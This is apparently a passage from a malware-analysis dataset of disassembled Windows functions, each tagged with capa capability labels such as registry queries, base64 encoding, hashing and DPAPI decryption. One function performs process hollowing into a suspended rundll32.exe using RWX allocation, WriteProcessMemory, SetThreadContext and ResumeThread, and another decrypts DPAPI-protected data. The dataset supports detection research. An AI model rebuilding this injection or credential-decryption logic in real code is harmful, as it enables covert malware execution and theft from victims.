joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140079344
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
push rdi
sub rsp, 0x40
and dword [rsp + 0x68], 0
lea rax, [r11 + 0x20]
and dword [rsp + 0x30], 0
lea r9, [r11 - 0x18]
mov rdi, r8
mov qword [r11 - 0x20], rax
and qword [r11 - 0x28], 0
xor r8d, r8d
mov rbx, rdx
mov rsi, rcx
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
nop dword [rax + rax]
test eax, eax
jne 0x14007945c
cmp dword [rsp + 0x30], 3
jne 0x14007945c
cmp dword [rsp + 0x68], 0x48
jbe 0x14007945c
mov ecx, dword [rsp + 0x68]
call qword [sym.imp.msvcrt.dll_malloc]
nop dword [rax + rax]
mov qword [rdi], rax
test rax, rax
je 0x140079455
lea rcx, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x28], rcx
xor r8d, r8d
mov rcx, rsi
mov qword [rsp + 0x20], rax
mov rdx, rbx
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
nop dword [rax + rax]
mov ebx, eax
test eax, eax
jne 0x140079440
mov rcx, qword [rdi]
mov eax, dword [rsp + 0x68]
movzx edx, word [rcx + 0x44]
cmp edx, eax
ja 0x14007940f
movzx r8d, word [rcx + 0x46]
cmp r8d, eax
jae 0x14007940f
lea ecx, [r8 + rdx]
cmp eax, ecx
je 0x14007948d
mov ebx, 0xd
mov rcx, qword [0x1400b62f8]
lea rax, [0x1400b62f8]
cmp rcx, rax
je 0x140079440
test byte [rcx + 0x1c], 4
je 0x140079440
mov rcx, qword [rcx + 0x10]
lea edx, [rbx - 3]
lea r8, [0x14009bdb8]
call fcn.14002f32c
mov rcx, qword [rdi]
call qword [sym.imp.msvcrt.dll_free]
nop dword [rax + rax]
and qword [rdi], 0
jmp 0x14007948d
mov ebx, 8
jmp 0x14007948d
mov ebx, 0xd
mov rcx, qword [0x1400b62f8]
lea rax, [0x1400b62f8]
cmp rcx, rax
je 0x14007948d
test byte [rcx + 0x1c], 4
je 0x14007948d
mov rcx, qword [rcx + 0x10]
lea edx, [rbx - 2]
lea r8, [0x14009bdb8]
call fcn.14002f32c
mov rsi, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x180001070
Capabilities:
Allocate or change rwx memory
Create process on windows
Resume thread

Disassembly:
sub rsp, 0x5c8
mov edx, 0x68
lea rcx, [rsp + 0x80]
call section..text
mov dword [rsp + 0x80], 0x68
call fcn.180001260
test eax, eax
je 0x180001202
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x1000044
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x180004218]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x18000114c
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, str.rundll32.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x180001202
mov dword [rsp + 0x120], 0x100003
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x1000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
lea r8, section..data
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x1e8], rax
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x140037c80
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
mov rax, qword [0x140104bf0]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov rbx, r8
mov rdi, rcx
mov qword [rbp - 0x41], rcx
xor esi, esi
mov dword [rbp - 0x45], esi
lea rcx, [rbp + 0x17]
call fcn.140074360
nop
lea rax, [rbp + 0x17]
cmp qword [rbp + 0x2f], 0x10
cmovae rax, qword [rbp + 0x17]
mov qword [rbp - 0x11], rax
mov eax, dword [rbp + 0x27]
mov dword [rbp - 0x19], eax
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140037ce0
mov rax, qword [rbx]
mov qword [rbp - 0x21], rax
mov eax, dword [rbx + 0x10]
mov dword [rbp - 0x29], eax
lea rax, [rbp - 0x39]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp - 0x29]
xor edx, edx
lea rcx, [rbp - 0x19]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x140037e49
xorps xmm0, xmm0
movups xmmword [rbp - 9], xmm0
mov qword [rbp + 7], rsi
mov qword [rbp + 0xf], rsi
mov qword [rbp + 7], rsi
mov qword [rbp + send], 0xf
mov byte [rbp - 9], 0
mov ebx, dword [rbp - 0x39]
test rbx, rbx
jne 0x140037d4c
mov qword [rbp + 7], rbx
mov byte [rbp + rbx - 9], bl
jmp 0x140037d80
lea rcx, [rbp - 9]
cmp rbx, 0xf
ja 0x140037d6b
mov qword [rbp + 7], rbx
mov r8, rbx
xor edx, edx
call fcn.1400b7530
mov byte [rbp + rbx - 9], 0
jmp 0x140037d80
mov byte [rsp + 0x20], 0
mov r9, rbx
movzx r8d, byte [rbp - 0x49]
mov rdx, rbx
call fcn.1400476b0
lea rcx, [rbp - 9]
cmp qword [rbp + 0xf], 0x10
cmovae rcx, qword [rbp - 9]
mov r8d, dword [rbp - 0x39]
mov rdx, qword [rbp - 0x31]
call fcn.1400b6e80
mov rcx, qword [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_LocalFree]
movups xmm0, xmmword [rbp - 9]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rbp + 7]
movups xmmword [rdi + 0x10], xmm1
mov qword [rbp + 7], rsi
mov qword [rbp + send], 0xf
mov byte [rbp - 9], 0
mov byte [rdi + 0x20], 1
mov dword [rbp - 0x45], 1
mov qword [rbp + 7], rsi
mov qword [rbp + send], 0xf
mov byte [rbp - 9], 0
mov rdx, qword [rbp + 0x2f]
cmp rdx, 0x10
jb 0x140037e16
inc rdx
mov rcx, qword [rbp + 0x17]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037e11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037e86
call fcn.1400b4b80
movdqa xmm0, xmmword [0x1400eb4d0]
movdqu xmmword [rbp + 0x27], xmm0
mov byte [rbp + 0x17], 0
mov rax, rdi
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1400b4b60
mov rbx, qword [rsp + 0x108]
add rsp, 0xd0
pop rdi
pop rsi
pop rbp
ret
mov byte [rdi + 0x20], 0
mov dword [rbp - 0x45], 1
mov rdx, qword [rbp + 0x2f]
cmp rdx, 0x10
jb 0x140037e16
inc rdx
mov rcx, qword [rbp + 0x17]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037e11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140037e11
call fcn.140098678
int3
Function at 0x1400440b0
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
xor eax, eax
mov dword [rsp + 0x20], eax
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], send
mov byte [rcx], al
mov dword [rsp + 0x20], 1
lea rcx, [r8 + 2]
movabs rbp, 0xaaaaaaaaaaaaaaab
mov rax, rbp
mul rcx
shr rdx, 1
shl rdx, 2
xor r8d, r8d
mov rcx, rdi
call fcn.1400418d0
mov r10, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140044127
mov r10, qword [rdi]
mov rcx, r10
mov rax, rbp
mul rsi
mov r8, rdx
shr r8, 1
mov r9, r8
lea r11, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
je 0x1400441a1
movzx eax, byte [rbx]
shr rax, 2
movzx eax, byte [rax + r11]
mov byte [rcx], al
movsx edx, byte [rbx]
and edx, 3
shl edx, 4
movzx eax, byte [rbx + 1]
shr eax, 4
add edx, eax
movzx eax, byte [rdx + r11]
mov byte [rcx + 1], al
movsx edx, byte [rbx + 1]
and edx, 0xf
movzx eax, byte [rbx + 2]
shr eax, 6
lea eax, [rax + rdx*4]
movzx eax, byte [rax + r11]
mov byte [rcx + 2], al
movsx rax, byte [rbx + 2]
and eax, 0x3f
movzx eax, byte [rax + r11]
mov byte [rcx + 3], al
add rcx, 4
add rbx, 3
sub r9, 1
jne 0x140044142
lea rax, [r8 + r8*2]
sub rsi, rax
sub rsi, 1
je 0x1400441f2
cmp rsi, 1
jne 0x14004421c
movzx eax, byte [rbx]
shr rax, 2
movzx eax, byte [rax + r11]
mov byte [rcx], al
movsx edx, byte [rbx]
and edx, 3
shl edx, 4
movzx eax, byte [rbx + 1]
shr eax, 4
add edx, eax
movzx eax, byte [rdx + r11]
mov byte [rcx + 1], al
movsx rax, byte [rbx + 1]
and eax, 0xf
movzx eax, byte [r11 + rax*4]
mov byte [rcx + 2], al
mov byte [rcx + 3], 0x3d
jmp 0x140044218
movzx eax, byte [rbx]
shr rax, 2
movzx eax, byte [rax + r11]
mov byte [rcx], al
movsx rax, byte [rbx]
and eax, 3
add rax, rax
movzx eax, byte [r11 + rax*8]
mov byte [rcx + 1], al
mov word [rcx + 2], 0x3d3d
add rcx, 4
sub rcx, r10
xor r8d, r8d
mov rdx, rcx
mov rcx, rdi
call fcn.1400418d0
mov rax, rdi
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x140044f20
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r15
sub rsp, 0x20
mov r15, qword [rdx + 0x18]
mov rdi, rdx
mov rsi, qword [rdx + 0x10]
mov r10, rcx
mov r9, rdx
cmp r15, 0x10
jb 0x140044f4c
mov r9, qword [rdx]
xor ebp, ebp
movabs r8, 0xcbf29ce484222325
mov edx, ebp
test rsi, rsi
je 0x140044f84
movabs rcx, 0x100000001b3
nop dword [rax]
movzx eax, byte [rdx + r9]
inc rdx
xor r8, rax
imul r8, rcx
cmp rdx, rsi
jb 0x140044f70
mov rcx, qword [r10 + 0x30]
mov rax, qword [r10 + 0x18]
and rcx, r8
add rcx, rcx
mov rbx, qword [rax + rcx*8 + 8]
cmp rbx, qword [r10 + 8]
je 0x140044ff2
mov qword [rsp + 0x40], r14
mov r14, qword [rax + rcx*8]
nop word [rax + rax]
cmp qword [rbx + 0x28], 0x10
lea rdx, [rbx + 0x10]
mov rax, qword [rdx + 0x10]
jb 0x140044fc2
mov rdx, qword [rdx]
mov rcx, rdi
cmp r15, 0x10
jb 0x140044fce
mov rcx, qword [rdi]
cmp rsi, rax
jne 0x140044fdf
mov r8, rsi
call fcn.1400b7a80
test eax, eax
je 0x140044fea
cmp rbx, r14
je 0x140044fed
mov rbx, qword [rbx + 8]
jmp 0x140044fb0
mov rbp, rbx
mov r14, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
test rbp, rbp
mov rbp, qword [rsp + 0x50]
setne al
add rsp, 0x20
pop r15
pop rdi
pop rsi
ret
Function at 0x1400450b0
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rbx, rdx
mov rsi, rcx
xor r12d, r12d
mov dword [rsp + 0x20], r12d
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], r12
mov qword [rcx + 0x18], send
mov byte [rcx], r12b
mov dword [rsp + 0x20], 1
mov rax, qword [rdx + 0x10]
shr rax, 2
lea rdx, [rax + rax*2]
xor r8d, r8d
call fcn.1400418d0
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x140045116
mov rbx, qword [rbx]
mov r15, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x140045123
mov r15, qword [rsi]
mov rdi, r15
mov r8d, r12d
test r9, r9
je 0x140045238
mov rdx, r12
lea r13, [0x1400e88c0]
mov eax, dword [rsp + 0x78]
movzx r14d, byte [rsp + 0x7b]
movzx r11d, byte [rsp + 0x7a]
movzx ebp, byte [rsp + 0x79]
dec r9
movzx ecx, byte [rbx]
cmp cl, 0x3d
je 0x1400451e2
movzx r10d, byte [rcx + r13]
cmp r10b, 0xff
je 0x1400451e2
inc rbx
mov byte [rsp + rdx + 0x78], r10b
inc r8d
inc rdx
mov eax, dword [rsp + 0x78]
movzx r14d, byte [rsp + 0x7b]
movzx r11d, byte [rsp + 0x7a]
movzx ebp, byte [rsp + 0x79]
cmp rdx, 4
jne 0x1400451d9
movzx r8d, bpl
shr r8b, 4
and r8b, 3
movzx ecx, al
shl cl, 2
add r8b, cl
movzx edx, r11b
shr dl, 2
and dl, 0xf
movzx ecx, bpl
shl cl, 4
add dl, cl
movzx ecx, r11b
shl cl, 6
add cl, r14b
mov byte [rdi], r8b
mov byte [rdi + 1], dl
mov byte [rdi + 2], cl
add rdi, 3
mov r8d, r12d
mov rdx, r12
test r9, r9
jne 0x140045151
test r8d, r8d
je 0x140045238
movzx ecx, bpl
shr cl, 4
and cl, 3
shl al, 2
add cl, al
mov byte [rsp + 0x78], cl
movzx eax, r11b
shr al, 2
and al, 0xf
shl bpl, 4
add al, bpl
mov byte [rsp + 0x79], al
shl r11b, 6
add r11b, r14b
mov byte [rsp + 0x7a], r11b
lea eax, [r8 - 1]
movsxd rbx, eax
test eax, eax
jle 0x140045238
mov r8, rbx
lea rdx, [rsp + 0x78]
mov rcx, rdi
call fcn.1400b6e80
add rdi, rbx
sub rdi, r15
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call fcn.1400418d0
mov rax, rsi
mov rbx, qword [rsp + 0x80]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140047f10
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x140047f44
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x140047f30
ret
Function at 0x140052e30
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x140052e52
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x140052ecc
mov rdi, r14
mov rcx, rbx
call fcn.140042bf0
test rax, rax
jle 0x140052ea4
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov rax, qword [rbx + 0x38]
mov r8, rbp
mov rdx, qword [rax]
call fcn.1400b6e80
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x140052ebc
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x140052ec4
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140052e66
sub r14, rdi
jmp 0x140052faf
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x140052ee3
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140052ee5
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140052f17
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.1400b6e80
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x140052fac
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140052f52
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x140052f8d
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.140097e84
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x140052fac
cmp rbp, rax
ja 0x140052f60
test rbp, rbp
je 0x140052fac
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.140097e84
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
Function at 0x1400553f0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rdi, rdx
mov r13, rcx
mov rsi, qword [rdx + 0x10]
mov r8, rdx
mov r15, qword [rdx + 0x18]
cmp r15, 0x10
jb 0x14005541e
mov r8, qword [rdx]
movabs rdx, 0xcbf29ce484222325
xor ecx, ecx
test rsi, rsi
je 0x140055454
movabs r9, 0x100000001b3
nop dword [rax]
movzx eax, byte [rcx + r8]
xor rdx, rax
imul rdx, r9
inc rcx
cmp rcx, rsi
jb 0x140055440
mov r14, qword [r13 + 0x30]
and r14, rdx
shl r14, 4
add r14, qword [r13 + 0x18]
mov rcx, qword [r14 + 8]
mov rbx, rcx
mov r12, qword [r13 + 8]
cmp rcx, r12
je 0x1400554c4
mov rbp, qword [r14]
nop word [rax + rax]
lea rdx, [rbx + 0x10]
mov rax, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140055492
mov rdx, qword [rdx]
mov rcx, rdi
cmp r15, 0x10
jb 0x14005549e
mov rcx, qword [rdi]
cmp rsi, rax
jne 0x1400554af
mov r8, rsi
call fcn.1400b7a80
test eax, eax
je 0x1400554ba
cmp rbx, rbp
je 0x1400554c0
mov rbx, qword [rbx + 8]
jmp 0x140055480
mov rcx, qword [r14 + 8]
jmp 0x1400554c6
mov rcx, qword [r14 + 8]
xor ebx, ebx
test rbx, rbx
je 0x14005556f
mov rax, qword [r14]
cmp rcx, rbx
jne 0x1400554ef
cmp rax, rbx
jne 0x1400554e5
mov qword [r14], r12
mov qword [r14 + 8], r12
jmp 0x1400554fa
mov r12, qword [rbx + 8]
mov qword [r14 + 8], r12
jmp 0x1400554fa
cmp rax, rbx
jne 0x1400554fa
mov rax, qword [rbx]
mov qword [r14], rax
mov rcx, qword [rbx]
dec qword [r13 + 0x10]
mov rax, qword [rbx + 8]
mov qword [rax], rcx
mov rax, qword [rbx + 8]
mov qword [rcx + 8], rax
mov rdx, qword [rbx + 0x28]
cmp rdx, 0x10
jb 0x140055547
inc rdx
mov rcx, qword [rbx + 0x10]
cmp rdx, 0x1000
jb 0x140055542
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140055586
mov rcx, r8
call fcn.1400b4b80
mov qword [rbx + 0x20], 0
mov qword [rbx + 0x28], send
mov byte [rbx + 0x10], 0
mov edx, 0x30
mov rcx, rbx
call fcn.1400b4b80
mov eax, 1
jmp 0x140055571
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140098678
int3
Function at 0x140056d20
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov r13, rcx
mov qword [rsp + 0x20], rcx
movabs rax, 0xfffffffffffffff
bsr rcx, rax
mov ebx, 1
mov eax, ebx
shl rax, cl
cmp rdx, rax
ja 0x140056f63
lea rax, [rdx - 1]
or rax, rbx
bsr rcx, rax
inc ecx
shl rbx, cl
mov rbp, qword [r13 + 8]
lea r12, [r13 + 0x18]
lea rdx, [rbx + rbx]
mov r8, rbp
mov rcx, r12
call fcn.1400496a0
lea rax, [rbx - 1]
mov qword [r13 + 0x30], rax
mov qword [r13 + 0x38], rbx
mov qword [rsp + 0x28], r13
mov rdi, qword [r13 + 8]
mov rdi, qword [rdi]
mov rsi, rdi
cmp rdi, rbp
je 0x140056f42
movabs rax, 0xcbf29ce484222325
movabs r10, 0x100000001b3
nop dword [rax]
mov rsi, qword [rsi]
mov r15, qword [rdi + 0x20]
lea r8, [rdi + 0x10]
mov r9, qword [rdi + 0x28]
cmp r9, 0x10
jb 0x140056dd9
mov r8, qword [rdi + 0x10]
mov rdx, rax
xor ecx, ecx
test r15, r15
je 0x140056e04
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx + r8]
xor rdx, rax
imul rdx, r10
inc rcx
cmp rcx, r15
jb 0x140056df0
mov r13, qword [r13 + 0x30]
and r13, rdx
shl r13, 4
add r13, qword [r12]
mov r12, qword [r13]
cmp r12, rbp
jne 0x140056e29
mov qword [r13], rdi
mov qword [r13 + 8], rdi
jmp 0x140056f23
mov rbx, qword [r13 + 8]
lea rdx, [rbx + 0x10]
mov rax, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140056e3f
mov rdx, qword [rdx]
lea rcx, [rdi + 0x10]
cmp r9, 0x10
jb 0x140056e4d
mov rcx, qword [rdi + 0x10]
cmp r15, rax
jne 0x140056e94
mov r8, r15
call fcn.1400b7a80
test eax, eax
jne 0x140056e90
mov rax, qword [rbx]
cmp rax, rdi
je 0x140056e87
mov r8, qword [rdi + 8]
mov qword [r8], rsi
mov rdx, qword [rsi + 8]
mov qword [rdx], rax
mov rcx, qword [rax + 8]
mov qword [rcx], rdi
mov qword [rax + 8], rdx
mov qword [rsi + 8], r8
mov qword [rdi + 8], rcx
mov qword [r13 + 8], rdi
jmp 0x140056f19
mov r9, qword [rdi + 0x28]
cmp r12, rbx
je 0x140056ef4
mov rbx, qword [rbx + 8]
lea rdx, [rbx + 0x10]
mov rax, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140056eaf
mov rdx, qword [rdx]
lea rcx, [rdi + 0x10]
cmp r9, 0x10
jb 0x140056ebd
mov rcx, qword [rdi + 0x10]
cmp r15, rax
jne 0x140056e94
mov r8, r15
call fcn.1400b7a80
test eax, eax
jne 0x140056e90
mov rax, qword [rbx]
mov r8, qword [rdi + 8]
mov qword [r8], rsi
mov rdx, qword [rsi + 8]
mov qword [rdx], rax
mov rcx, qword [rax + 8]
mov qword [rcx], rdi
mov qword [rax + 8], rdx
mov qword [rsi + 8], r8
mov qword [rdi + 8], rcx
jmp 0x140056f19
mov rdx, qword [rdi + 8]
mov qword [rdx], rsi
mov rcx, qword [rsi + 8]
mov qword [rcx], rbx
mov rax, qword [rbx + 8]
mov qword [rax], rdi
mov qword [rbx + 8], rcx
mov qword [rsi + 8], rdx
mov qword [rdi + 8], rax
mov qword [r13], rdi
movabs r10, 0x100000001b3
mov rdi, rsi
cmp rsi, rbp
mov r13, qword [rsp + 0x20]
lea r12, [r13 + 0x18]
movabs rax, 0xcbf29ce484222325
jne 0x140056dc0
mov qword [rsp + 0x28], 0
mov rbx, qword [rsp + 0x80]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea rcx, str.invalid_hash_bucket_count
call fcn.1400bc794
int3
Function at 0x140058850
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x14005891c
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x14005891c
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x140058935
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx + 0x10]
cmp rax, rcx
je 0x14005890c
cmp byte [rax], 0x5c
jne 0x140058906
lea rdx, [rax + 1]
cmp rdx, rcx
je 0x140058906
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x1400588f2
movzx ecx, byte [rdx]
sub cl, 0x28
cmp cl, 1
jbe 0x140058903
test r8b, 0x10
jne 0x140058906
movzx ecx, byte [rdx]
sub cl, 0x7b
test cl, 0xfd
jne 0x140058906
mov rax, rdx
inc rax
mov qword [rbx], rax
mov rcx, rbx
call fcn.14004d6d0
test edi, edi
jne 0x140058870
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.14004d6c0
int3
Function at 0x140070310
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov dword [rcx], 0x61707865
mov r10, rcx
mov dword [rcx + 4], 0x3320646e
mov dword [rcx + 8], 0x79622d32
mov dword [rcx + 0xc], 0x6b206574
movzx eax, byte [rdx + 2]
movzx r9d, byte [rdx + 3]
shl r9d, 8
or r9d, eax
movzx eax, byte [rdx + 1]
shl r9d, 8
or r9d, eax
movzx eax, byte [rdx]
shl r9d, 8
or r9d, eax
mov dword [rcx + 0x10], r9d
movzx eax, byte [rdx + 6]
movzx ecx, byte [rdx + 7]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 4]
shl ecx, 8
or ecx, eax
mov dword [r10 + 0x14], ecx
movzx eax, byte [rdx + 0xa]
movzx ecx, byte [rdx + 0xb]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 9]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 8]
shl ecx, 8
or ecx, eax
mov dword [r10 + 0x18], ecx
movzx eax, byte [rdx + 0xe]
movzx ecx, byte [rdx + 0xf]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0xd]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0xc]
shl ecx, 8
or ecx, eax
mov dword [r10 + 0x1c], ecx
movzx eax, byte [rdx + 0x12]
movzx ecx, byte [rdx + 0x13]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x11]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x10]
shl ecx, 8
or ecx, eax
mov dword [r10 + 0x20], ecx
movzx eax, byte [rdx + 0x16]
movzx ecx, byte [rdx + 0x17]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x15]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x14]
shl ecx, 8
or ecx, eax
mov dword [r10 + 0x24], ecx
movzx eax, byte [rdx + 0x1a]
movzx ecx, byte [rdx + 0x1b]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x19]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x18]
shl ecx, 8
or ecx, eax
mov dword [r10 + 0x28], ecx
